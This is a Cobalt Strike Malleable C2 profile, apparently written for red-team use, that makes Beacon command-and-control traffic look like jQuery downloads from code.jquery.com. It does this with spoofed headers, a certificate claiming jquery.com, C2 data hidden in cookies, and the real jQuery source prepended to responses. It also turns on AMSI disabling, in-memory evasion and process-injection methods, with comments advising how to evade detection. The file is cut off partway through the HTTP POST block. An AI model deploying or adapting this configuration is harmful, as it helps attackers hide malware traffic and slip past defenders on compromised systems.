# Malleable C2 Profile # Version: CobaltStrike 4.2 # File: jquery-c2.4.2.profile # Description: # c2 profile attempting to mimic a jquery.js request # uses signed certificates # or self-signed certificates # Authors: @joevest, @andrewchiles, @001SPARTaN ################################################ ## Tips for Profile Parameter Values ################################################ ## Parameter Values ## Enclose parameter in Double quote, not single ## set useragent "SOME AGENT"; GOOD ## set useragent 'SOME AGENT'; BAD ## Some special characters do not need escaping ## prepend "!@#$%^&*()"; ## Semicolons are ok ## prepend "This is an example;"; ## Escape Double quotes ## append "here is \"some\" stuff"; ## Escape Backslashes ## append "more \\ stuff"; ## HTTP Values ## Program .http-post.client must have a compiled size less than 252 bytes. ################################################ ## Profile Name ################################################ ## Description: ## The name of this profile (used in the Indicators of Compromise report) ## Defaults: ## sample_name: My Profile ## Guidelines: ## - Choose a name that you want in a report set sample_name "jQuery CS 4.2 Profile"; ################################################ ## Sleep Times ################################################ ## Description: ## Timing between beacon check in ## Defaults: ## sleeptime: 60000 ## jitter: 0 ## Guidelines: ## - Beacon Timing in milliseconds (1000 = 1 sec) set sleeptime "45000"; # 45 Seconds #set sleeptime "300000"; # 5 Minutes #set sleeptime "600000"; # 10 Minutes #set sleeptime "900000"; # 15 Minutes #set sleeptime "1200000"; # 20 Minutes #set sleeptime "1800000"; # 30 Minutes #set sleeptime "3600000"; # 1 Hours set jitter "37"; # % jitter ################################################ ## Server Response Size jitter ################################################ ## Description: ## Append random-length string (up to data_jitter value) to http-get and http-post server output. set data_jitter "100"; ################################################ ## HTTP Client Header Removal ################################################ ## Description: ## Global option to force Beacon's WinINet to remove specified headers late in the HTTP/S transaction process. ## Value: ## headers_remove Comma-separated list of HTTP client headers to remove from Beacon C2. # set headers_remove "Strict-Transport-Security, header2, header3"; ################################################ ## Beacon User-Agent ################################################ ## Description: ## User-Agent string used in HTTP requests, CS versions < 4.2 approx 128 max characters, CS 4.2+ max 255 characters ## Defaults: ## useragent: Internet Explorer (Random) ## Guidelines ## - Use a User-Agent values that fits with your engagement ## - useragent can only be 128 chars ## IE 10 # set useragent "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN)"; ## MS IE 11 User Agent set useragent "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"; ################################################ ## SSL CERTIFICATE ################################################ ## Description: ## Signed or self-signed TLS/SSL Certifcate used for C2 communication using an HTTPS listener ## Defaults: ## All certificate values are blank ## Guidelines: ## - Best Option - Use a certifcate signed by a trusted certificate authority ## - Ok Option - Create your own self signed certificate ## - Option - Set self-signed certificate values https-certificate { ## Option 1) Trusted and Signed Certificate ## Use keytool to create a Java Keystore file. ## Refer to https://www.cobaltstrike.com/help-malleable-c2#validssl ## or https://github.com/killswitch-GUI/CobaltStrike-ToolKit/blob/master/HTTPsC2DoneRight.sh ## Option 2) Create your own Self-Signed Certificate ## Use keytool to import your own self signed certificates #set keystore "/pathtokeystore"; #set password "password"; ## Option 3) Cobalt Strike Self-Signed Certificate set C "US"; set CN "jquery.com"; set O "jQuery"; set OU "Certificate Authority"; set validity "365"; } ################################################ ## TCP Beacon ################################################ ## Description: ## TCP Beacon listen port ## - https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/ ## - https://www.cobaltstrike.com/help-tcp-beacon ## TCP Frame Header ## - Added in CS 4.1, prepend header to TCP Beacon messages ## Defaults: ## tcp_port: 4444 ## tcp_frame_header: N\A ## Guidelines ## - OPSEC WARNING!!!!! The default port is 4444. This is bad. You can change dynamicaly but the port set in the profile will always be used first before switching to the dynamic port. ## - Use a port other that default. Choose something not is use. ## - Use a port greater than 1024 is generally a good idea set tcp_port "42585"; set tcp_frame_header "\x80"; ################################################ ## SMB beacons ################################################ ## Description: ## Peer-to-peer beacon using SMB for communication ## SMB Frame Header ## - Added in CS 4.1, prepend header to SMB Beacon messages ## Defaults: ## pipename: msagent_## ## pipename_stager: status_## ## smb_frame_header: N\A ## Guidelines: ## - Do not use an existing namedpipe, Beacon doesn't check for conflict! ## - the ## is replaced with a number unique to a teamserver ## --------------------- set pipename "mojo.5688.8052.183894939787088877##"; # Common Chrome named pipe set pipename_stager "mojo.5688.8052.35780273329370473##"; # Common Chrome named pipe set smb_frame_header "\x80"; ################################################ ## DNS beacons ################################################ ## Description: ## Beacon that uses DNS for communication ## Defaults: ## maxdns: 255 ## dns_idle: 0.0.0.0 ## dns_max_txt: 252 ## dns_sleep: 0 ## dns_stager_prepend: N/A ## dns_stager_subhost: .stage.123456. ## dns_ttl: 1 ## Guidelines: ## - DNS beacons generate a lot of DNS request. DNS beacon are best used as low and slow back up C2 channels set maxdns "255"; set dns_max_txt "252"; set dns_idle "74.125.196.113"; #google.com (change this to match your campaign) set dns_sleep "0"; # Force a sleep prior to each individual DNS request. (in milliseconds) set dns_stager_prepend ".resources.123456."; set dns_stager_subhost ".feeds.123456."; ################################################ ## SSH beacons ################################################ ## Description: ## Peer-to-peer SSH pseudo-Beacon for lateral movement ## ssh_banner ## - Added in Cobalt Strike 4.1, changes client SSH banner ## Defaults: ## ssh_banner: Cobalt Strike 4.2 set ssh_banner "OpenSSH_7.4 Debian (protocol 2.0)"; set ssh_pipename "wkssvc##"; ################################################ ## Staging process ################################################ ## OPSEC WARNING!!!! Staging has serious OPSEC issues. It is recommed to disable staging and use stageless payloads ## Description: ## Malleable C2's http-stager block customizes the HTTP staging process ## Defaults: ## uri_x86 Random String ## uri_x64 Random String ## HTTP Server Headers - Basic HTTP Headers ## HTTP Client Headers - Basic HTTP Headers ## Guidelines: ## - Add customize HTTP headers to the HTTP traffic of your campaign ## - Only specify the `Host` header when peforming domain fronting. Be aware of HTTP proxy's rewriting your request per RFC2616 Section 14.23 ## - https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/ ## - Note: Data transform language not supported in http stageing (mask, base64, base64url, etc) set host_stage "false"; # Do not use staging. Must use stageles payloads, now the default for Cobalt Strike built-in processes #set host_stage "true"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.set http-stager { set uri_x86 "/jquery-3.3.1.slim.min.js"; set uri_x64 "/jquery-3.3.2.slim.min.js"; server { header "Server" "NetDNA-cache/2.2"; header "Cache-Control" "max-age=0, no-cache"; header "Pragma" "no-cache"; header "Connection" "keep-alive"; header "Content-Type" "application/javascript; charset=utf-8"; output { ## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values) # 2nd Line prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"; print; } } client { header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Accept-Language" "en-US,en;q=0.5"; #header "Host" "code.jquery.com"; header "Referer" "http://code.jquery.com/"; header "Accept-Encoding" "gzip, deflate"; } } ################################################ ## Post Exploitation ################################################ ## Description: ## Controls post-exploitation jobs, including default x86/x64 program to open and inject shellcode into, AMSI bypass for execute-assembly, powerpick, and psinject ## https://www.cobaltstrike.com/help-malleable-postex ## Values: ## spawnto_x86 %windir%\\syswow64\\rundll32.exe ## spawnto_x64 %windir%\\sysnative\\rundll32.exe ## obfuscate false CS 3.14 - Scrambles the content of the post-ex DLLs and settles the post-ex capability into memory in a more OPSEC-safe way ## pipename postex_####, windows\\pipe_## CS 4.2 - Change the named pipe names used, by post-ex DLLs, to send output back to Beacon. This option accepts a comma-separated list of pipenames. Cobalt Strike will select a random pipe name from this option when it sets up a post-exploitation job. Each # in the pipename is replaced with a valid hex character as well. ## smartinject false CS 3.14 added to postex block - Directs Beacon to embed key function pointers, like GetProcAddress and LoadLibrary, into its same-architecture post-ex DLLs. ## amsi_disable false CS 3.13 - Directs powerpick, execute-assembly, and psinject to patch the AmsiScanBuffer function before loading .NET or PowerShell code. This limits the Antimalware Scan Interface visibility into these capabilities. ## keylogger GetAsyncKeyState CS 4.2 - The GetAsyncKeyState option (default) uses the GetAsyncKeyState API to observe keystrokes. The SetWindowsHookEx option uses SetWindowsHookEx to observe keystrokes. ## threadhint CS 4.2 - allows multi-threaded post-ex DLLs to spawn threads with a spoofed start address. Specify the thread hint as "module!function+0x##" to specify the start address to spoof. The optional 0x## part is an offset added to the start address. ## Guidelines ## - spawnto can only be 63 chars ## - OPSEC WARNING!!!! The spawnto in this example will contain identifiable command line strings ## - sysnative for x64 and syswow64 for x86 ## - Example x64 : C:\\Windows\\sysnative\\w32tm.exe ## Example x86 : C:\\Windows\\syswow64\\w32tm.exe ## - The binary doesnt do anything wierd (protected binary, etc) ## - !! Don't use these !! ## - "csrss.exe","logoff.exe","rdpinit.exe","bootim.exe","smss.exe","userinit.exe","sppsvc.exe" ## - A binary that executes without the UAC ## - 64 bit for x64 ## - 32 bit for x86 ## - You can add command line parameters to blend ## - set spawnto_x86 "%windir%\\syswow64\\svchost.exe -k netsvcs"; ## - set spawnto_x64 "%windir%\\sysnative\\svchost.exe -k netsvcs"; ## - Note: svchost.exe may look weird as the parent process ## - The obfuscate option scrambles the content of the post-ex DLLs and settles the post-ex capability into memory in a more OPSEC-safe way. It’s very similar to the obfuscate and userwx options available for Beacon via the stage block. ## - The amsi_disable option directs powerpick, execute-assembly, and psinject to patch the AmsiScanBuffer function before loading .NET or PowerShell code. This limits the Antimalware Scan Interface visibility into these capabilities. ## - The smartinject option directs Beacon to embed key function pointers, like GetProcAddress and LoadLibrary, into its same-architecture post-ex DLLs. This allows post-ex DLLs to bootstrap themselves in a new process without shellcode-like behavior that is detected and mitigated by watching memory accesses to the PEB and kernel32.dll post-ex { # Optionally specify non-existent filepath to force manual specification based on the Beacon host's running processes set spawnto_x86 "%windir%\\syswow64\\dllhost.exe"; # Hardcode paths like C:\\Windows\\System32\\dllhost.exe to avoid potential detections for %SYSNATIVE% use. !! This will break when attempting to spawn a 64bit post-ex job from a 32bit Beacon. set spawnto_x64 "%windir%\\sysnative\\dllhost.exe"; # change the permissions and content of our post-ex DLLs set obfuscate "true"; # pass key function pointers from Beacon to its child jobs set smartinject "true"; # disable AMSI in powerpick, execute-assembly, and psinject set amsi_disable "true"; # Modify our post-ex pipe names set pipename "Winsock2\\CatalogChangeListener-###-0,"; set keylogger "GetAsyncKeyState"; #set threadhint "module!function+0x##" } ################################################ ## Memory Indicators ################################################ ## Description: ## The stage block in Malleable C2 profiles controls how Beacon is loaded into memory and edit the content of the Beacon Reflective DLL. ## Values: ## allocator VirtualAlloc CS 4.2 - Set how Beacon's Reflective Loader allocates memory for the agent. Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc ## checksum 0 The CheckSum value in Beacon's PE header ## cleanup false Ask Beacon to attempt to free memory associated with the Reflective DLL package that initialized it. ## compile_time 14 July 2009 8:14:00 The build time in Beacon's PE header ## entry_point 92145 The EntryPoint value in Beacon's PE header ## image_size_x64 512000 SizeOfImage value in x64 Beacon's PE header ## image_size_x86 512000 SizeOfImage value in x86 Beacon's PE header ## magic_mz_x86 MZRE CS 4.2 - Override the first bytes (MZ header included) of Beacon's Reflective DLL. Valid x86 instructions are required. Follow instructions that change CPU state with instructions that undo the change. ## magic_mz_x64 MZAR CS 4.2 - Same as magic_mz_x86; affects x64 DLL. ## module_x64 xpsservices.dll Same as module_x86; affects x64 loader ## module_x86 xpsservices.dll Ask the x86 ReflectiveLoader to load the specified library and overwrite its space instead of allocating memory with VirtualAlloc. ## magic_pe PE Override the PE character marker used by Beacon's Reflective Loader with another value. ## name beacon.x64.dll The Exported name of the Beacon DLL ## obfuscate false Obfuscate the Reflective DLL's import table, overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers. As of 4.2 CS now obfuscates .text section in rDLL package ## rich_header N/A Meta-information inserted by the compiler ## sleep_mask false CS 3.12 - Obfuscate Beacon (HTTP, SMB, TCP Beacons), in-memory, prior to sleeping (HTTP) or waiting for a new connection\data (SMB\TCP) ## smartinject false CS 4.1 added to stage block - Use embedded function pointer hints to bootstrap Beacon agent without walking kernel32 EAT ## stomppe true Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after it loads Beacon payload ## userwx false Ask ReflectiveLoader to use or avoid RWX permissions for Beacon DLL in memory ## Guidelines: ## - Modify the indicators to minimize in memory indicators # - Refer to ## https://blog.cobaltstrike.com/2018/02/08/in-memory-evasion/ ## https://www.youtube.com/playlist?list=PL9HO6M_MU2nc5Q31qd2CwpZ8J4KFMhgnK ## https://www.youtube.com/watch?v=AV4XjxYe4GM (Obfuscate and Sleep) stage { # CS 4.2 added allocator and MZ header overrides set allocator "VirtualAlloc"; # Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc #set magic_mz_x86 "MZRE"; #set magic_mz_x64 "MZAR"; set magic_pe "NO"; set userwx "false"; set stomppe "true"; set obfuscate "true"; set cleanup "true"; # CS 3.12 Addition "Obfuscate and Sleep" set sleep_mask "true"; # CS 4.1 set smartinject "true"; # Make the Beacon Reflective DLL look like something else in memory # Values captured using peclone agaist a Windows 10 version of explorer.exe set checksum "0"; set compile_time "11 Nov 2016 04:08:32"; set entry_point "650688"; set image_size_x86 "4661248"; set image_size_x64 "4661248"; set name "srv.dll"; set rich_header "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90\x26\x17\xa4\x93\x27\x79\xf9\x90\x26\x7a\xf9\x91\x26\x83\xfd\x90\x26\x17\xa4\x91\x27\x65\xf9\x90\x26\x17\xa4\x95\x27\x77\xf9\x90\x26\x17\xa4\x94\x27\x6c\xf9\x90\x26\x17\xa4\x9e\x27\x56\xf8\x90\x26\x17\xa4\x6f\x26\x7b\xf9\x90\x26\x17\xa4\x92\x27\x7b\xf9\x90\x26\x52\x69\x63\x68\x7a\xf9\x90\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; ## WARNING: Module stomping # Cobalt Strike 3.11 also adds module stomping to Beacon's Reflective Loader. When enabled, Beacon's loader will shun VirtualAlloc and instead load a DLL into the current process and overwrite its memory. # Set module_x86 to a favorite x86 DLL to module stomp with the x86 Beacon. The module_x64 option enables this for the x64 Beacon. # While this is a powerful feature, caveats apply! If the library you load is not large enough to host Beacon, you will crash Beacon's process. If the current process loads the same library later (for whatever reason), you will crash Beacon's process. Choose carefully. # By default, Beacon's loader allocates memory with VirtualAlloc. Module stomping is an alternative to this. Set module_x86 to a DLL that is about twice as large as the Beacon payload itself. Beacon's x86 loader will load the specified DLL, find its location in memory, and overwrite it. This is a way to situate Beacon in memory that Windows associates with a file on disk. It's important that the DLL you choose is not needed by the applications you intend to reside in. The module_x64 option is the same story, but it affects the x64 Beacon. # Details can be found in the In-memory Evasion video series. https://youtu.be/uWVH9l2GMw4 # set module_x64 "netshell.dll"; # set module_x86 "netshell.dll"; # The transform-x86 and transform-x64 blocks pad and transform Beacon's Reflective DLL stage. These blocks support three commands: prepend, append, and strrep. transform-x86 { # transform the x86 rDLL stage prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops strrep "ReflectiveLoader" "execute"; # Change this text strrep "This program cannot be run in DOS mode" ""; # Remove this text strrep "beacon.dll" ""; # Remove this text } transform-x64 { # transform the x64 rDLL stage prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops strrep "ReflectiveLoader" "execute"; # Change this text in the Beacon DLL strrep "beacon.x64.dll" ""; # Remove this text in the Beacon DLL } stringw "jQuery"; # Add this string to the DLL } ################################################ ## Process Injection ################################################ ## Description: ## The process-inject block in Malleable C2 profiles shapes injected content and controls process injection behavior. ## Values: ## allocator VirtualAllocEx The preferred method to allocate memory in the remote process. Specify VirtualAllocEx or NtMapViewOfSection. The NtMapViewOfSection option is for same-architecture injection only. VirtualAllocEx is always used for cross-arch memory allocations. ## min_alloc 4096 Minimum amount of memory to request for injected content. ## startrwx false Use RWX as initial permissions for injected content. Alternative is RW. ## userwx false Use RWX as final permissions for injected content. Alternative is RX. ## ## ## Use the transform-x86\x64 to pad content injected by Beacon ## Use the execute block to control use of Beacon's process injection techniques ## Guidelines: ## - Modify the indicators to minimize in memory indicators # - Refer to ## https://www.cobaltstrike.com/help-malleable-c2#processinject ## https://blog.cobaltstrike.com/2019/08/21/cobalt-strikes-process-injection-the-details/ process-inject { # set a remote memory allocation technique: VirtualAllocEx|NtMapViewOfSection set allocator "NtMapViewOfSection"; # Minimium memory allocation size when injecting content set min_alloc "17500"; # Set memory permissions as permissions as initial=RWX, final=RX set startrwx "false"; set userwx "false"; # Transform injected content to avoid signature detection of first few bytes. Only supports prepend and append. transform-x86 { prepend "\x90\x90"; #append "\x90\x90"; } transform-x64 { prepend "\x90\x90"; #append "\x90\x90"; } ## The execute block controls the methods Beacon will use when it needs to inject code into a process. Beacon examines each option in the execute block, determines if the option is usable for the current context, tries the method when it is usable, and moves on to the next option if code execution did not happen. The execute options include: # # Name x86->x64 x64-x86 Notes ######################################################################### # CreateThread Current Process only # CreateRemoteThread Yes No cross-session # NtQueueApcThread # NtQueAPCThread-s This is the "Early Bird" injection technique. Suspended processes (e.g., post-ex jobs) only. # RtlCreateUserThread Yes Yes Risky on XP-era targets; uses RWX shellcode for x86->x64 injection. # SetThreadContext Yes Suspended processes (e.g. post-ex jobs only) execute { # The order is important! Each step will be attempted (if applicable) until successful ## self-injection CreateThread "ntdll!RtlUserThreadStart+0x42"; CreateThread; ## Injection via suspened processes (SetThreadContext|NtQueueApcThread-s) # OPSEC - when you use SetThreadContext; your thread will have a start address that reflects the original execution entry point of the temporary process. # SetThreadContext; NtQueueApcThread-s; ## Injection into existing processes # OPSEC Uses RWX stub - Detected by Get-InjectedThread. Less detected by some defensive products. #NtQueueApcThread; # CreateRemotThread - Vanilla cross process injection technique. Doesn't cross session boundaries # OPSEC - fires Sysmon Event 8 CreateRemoteThread; # RtlCreateUserThread - Supports all architecture dependent corner cases (e.g., 32bit -> 64bit injection) AND injection across session boundaries # OPSEC - fires Sysmon Event 8. Uses Meterpreter implementation and RWX stub - Detected by Get-InjectedThread RtlCreateUserThread; } } ################################################ ## Maleable C2 ## https://www.cobaltstrike.com/help-malleable-c2#options ################################################ ## HTTP Headers ################################################ ## Description: ## The http-config block has influence over all HTTP responses served by Cobalt Strike’s web server. Here, you may specify additional HTTP headers and the HTTP header order. ## Values: ## set headers "Comma separated list of headers" The set headers option specifies the order these HTTP headers are delivered in an HTTP response. Any headers not in this list are added to the end. ## header "headername" "header alue The header keyword adds a header value to each of Cobalt Strike's HTTP responses. If the header value is already defined in a response, this value is ignored. ## set trust_x_forwarded_for "true" Adds this header to determine remote address of a request. ## Guidelines: ## - Use this section in addition to the "server" secion in http-get and http-post to further define the HTTP headers http-config { set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type"; header "Server" "Apache"; header "Keep-Alive" "timeout=10, max=100"; header "Connection" "Keep-Alive"; # Use this option if your teamserver is behind a redirector set trust_x_forwarded_for "true"; } ################################################ ## HTTP GET ################################################ ## Description: ## GET is used to poll teamserver for tasks ## Defaults: ## uri "/activity" ## Headers (Sample) ## Accept: */* ## Cookie: CN7uVizbjdUdzNShKoHQc1HdhBsB0XMCbWJGIRF27eYLDqc9Tnb220an8ZgFcFMXLARTWEGgsvWsAYe+bsf67HyISXgvTUpVJRSZeRYkhOTgr31/5xHiittfuu1QwcKdXopIE+yP8QmpyRq3DgsRB45PFEGcidrQn3/aK0MnXoM= ## User-Agent Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1) ## Guidelines: ## - Add customize HTTP headers to the HTTP traffic of your campaign ## - Analyze sample HTTP traffic to use as a reference ## - Multiple URIs can be added. Beacon will randomly pick from these. ## - Use spaces as a URI seperator http-get { set uri "/jquery-3.3.1.min.js"; set verb "GET"; client { header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; #header "Host" "code.jquery.com"; header "Referer" "http://code.jquery.com/"; header "Accept-Encoding" "gzip, deflate"; metadata { base64url; prepend "__cfduid="; header "Cookie"; } } server { header "Server" "NetDNA-cache/2.2"; header "Cache-Control" "max-age=0, no-cache"; header "Pragma" "no-cache"; header "Connection" "keep-alive"; header "Content-Type" "application/javascript; charset=utf-8"; output { mask; base64url; ## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values) # 2nd Line prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"; print; } } } ################################################ ## HTTP POST ################################################ ## Description: ## POST is used to send output to the teamserver ## Can use HTTP GET or POST to send data ## Note on using GET: Beacon will automatically chunk its responses (and use multiple requests) to fit the constraints of an HTTP GET-only channel. ## Defaults: ## uri "/activity" ## Headers (Sample) ## Accept: */* ## Cookie: CN7uVizbjdUdzNShKoHQc1HdhBsB0XMCbWJGIRF27eYLDqc9Tnb220an8ZgFcFMXLARTWEGgsvWsAYe+bsf67HyISXgvTUpVJRSZeRYkhOTgr31/5xHiittfuu1QwcKdXopIE+yP8QmpyRq3DgsRB45PFEGcidrQn3/aK0MnXoM= ## User-Agent Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1) ## Guidelines: ## - Decide if you want to use HTTP GET or HTTP POST requests for this section ## - Add customize HTTP headers to the HTTP traffic of your campaign ## - Analyze sample HTTP traffic to use as a reference ## Use HTTP POST for http-post section ## Uncomment this Section to activate http-post { set uri "/jquery-3.3.2.min.js"; set verb "POST"; client { header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; #header "Host" "code.jquery.com"; header "Referer" "http://code.jquery.com/"; header "Accept-Encoding" "gzip, deflate"; id { mask; base64url; parameter "__cfduid"; } output { mask; base64url; print; } } server { header "Server" "NetDNA-cache/2.2"; header "Cache-Control" "max-age=0, no-cache"; header "Pragma" "no-cache"; header "Connection" "keep-alive"; header "Content-Type" "application/javascript; charset=utf-8"; output { mask; base64url; ## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values) # 2nd Line prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return 